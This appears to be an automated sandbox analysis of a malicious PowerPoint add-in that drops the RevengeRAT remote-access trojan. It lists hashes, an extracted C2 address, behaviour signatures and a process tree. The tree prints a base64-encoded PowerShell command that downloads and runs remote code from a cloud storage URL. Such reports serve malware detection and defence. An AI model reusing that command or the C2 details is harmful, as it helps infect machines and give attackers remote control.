Analysis

  • max time kernel
    122s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    06-08-2024 19:41

General

  • Target

    OmnibeesReservas_2024046175.ppam

  • Size

    42KB

  • MD5

    20d950e2c3dfc7f4ed68900accdbe44c

  • SHA1

    641722745cdfc41f32fa2c47dda5d0c3e708de10

  • SHA256

    2343875e27c07a7b34b6e97c716568204881cd0588ca1f040774aa088504a605

  • SHA512

    a4f6f2aeaba497b5f9fc740e4b6d34ce2b197c227a8c29499bb7ea1bb50ceb015c21ef92f8a7b35c418ff5b585d6aac96f723769e6095c42ad9ef39744ba921c

  • SSDEEP

    768:VPvsRQIHQyna9M++zYElhWc0MGVY+EvR0nNy5UTBJLYYM3L35t0g+Ut/LdspuYzT:V8REE+o7fWc/v9Ul83D5t0g+m/LdsI8T

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.173.171:5222

Mutex

8b39f6245ef24a80

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\OmnibeesReservas_2024046175.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2020
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:2816

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2112-0-0x000000002DDD1000-0x000000002DDD2000-memory.dmp

      Filesize

      4KB

    • memory/2112-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2112-2-0x000000007293D000-0x0000000072948000-memory.dmp

      Filesize

      44KB

    • memory/2112-7-0x0000000005140000-0x0000000005240000-memory.dmp

      Filesize

      1024KB

    • memory/2112-8-0x0000000006110000-0x0000000006210000-memory.dmp

      Filesize

      1024KB

    • memory/2112-9-0x0000000005140000-0x0000000005240000-memory.dmp

      Filesize

      1024KB

    • memory/2112-18-0x0000000005140000-0x0000000005240000-memory.dmp

      Filesize

      1024KB

    • memory/2112-19-0x0000000005140000-0x0000000005240000-memory.dmp

      Filesize

      1024KB

    • memory/2112-15-0x0000000005140000-0x0000000005240000-memory.dmp

      Filesize

      1024KB

    • memory/2112-12-0x0000000005140000-0x0000000005240000-memory.dmp

      Filesize

      1024KB

    • memory/2112-48-0x000000007293D000-0x0000000072948000-memory.dmp

      Filesize

      44KB

    • memory/2112-47-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2772-33-0x00000000025D0000-0x00000000025E8000-memory.dmp

      Filesize

      96KB

    • memory/2772-25-0x00000000025D0000-0x00000000025E8000-memory.dmp

      Filesize

      96KB

    • memory/2772-22-0x00000000025D0000-0x00000000025E8000-memory.dmp

      Filesize

      96KB

    • memory/2772-23-0x00000000025D0000-0x00000000025E8000-memory.dmp

      Filesize

      96KB

    • memory/2772-27-0x00000000025D0000-0x00000000025E8000-memory.dmp

      Filesize

      96KB

    • memory/2772-29-0x00000000025D0000-0x00000000025E8000-memory.dmp

      Filesize

      96KB

    • memory/2772-31-0x00000000025D0000-0x00000000025E8000-memory.dmp

      Filesize

      96KB

    • memory/2816-42-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2816-43-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2816-34-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2816-40-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2816-36-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2816-38-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2816-44-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2816-45-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB